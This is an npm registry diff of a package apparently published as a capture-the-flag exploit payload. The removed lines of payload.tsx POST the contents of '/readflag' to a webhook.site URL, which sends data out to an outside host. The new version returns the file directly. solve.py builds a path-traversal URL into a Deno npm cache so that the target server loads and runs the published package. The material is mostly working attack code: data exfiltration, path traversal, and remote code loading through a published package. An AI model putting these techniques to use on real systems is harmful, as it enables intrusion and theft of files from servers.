@octo-kumo/payload 1.0.10 → 1.0.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/package.json +1 -1
  2. package/payload.tsx +1 -9
  3. package/solve.py +2 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@octo-kumo/payload",
3
- "version": "1.0.10",
3
+ "version": "1.0.11",
4
4
  "description": "payload for ctf challenge [70000 too much]",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.tsx CHANGED
@@ -1,12 +1,4 @@
1
1
  import * as fs from 'fs'
2
2
  export const handler = async (c) => {
3
- fetch("https://webhook.site/edba7673-e348-4f1e-ad83-9d051fce1229", {
4
- method: "POST",
5
- body: "yo!"
6
- })
7
- await fetch("https://webhook.site/edba7673-e348-4f1e-ad83-9d051fce1229", {
8
- method: "POST",
9
- body: fs.readFileSync("/readflag")
10
- })
11
- return c.html("haha hacked!")
3
+ return c.text(fs.readFileSync("/readflag"))
12
4
  }
package/solve.py CHANGED
@@ -3,8 +3,8 @@ import time
3
3
  import requests
4
4
 
5
5
 
6
- target = 'http://localhost:11886'
7
- p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.9/payload'
6
+ target = 'http://localhost:12031'
7
+ p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.10/payload'
8
8
  preload = target + '/query?package=%40octo-kumo%2Fpayload'
9
9
  activate = target + p
10
10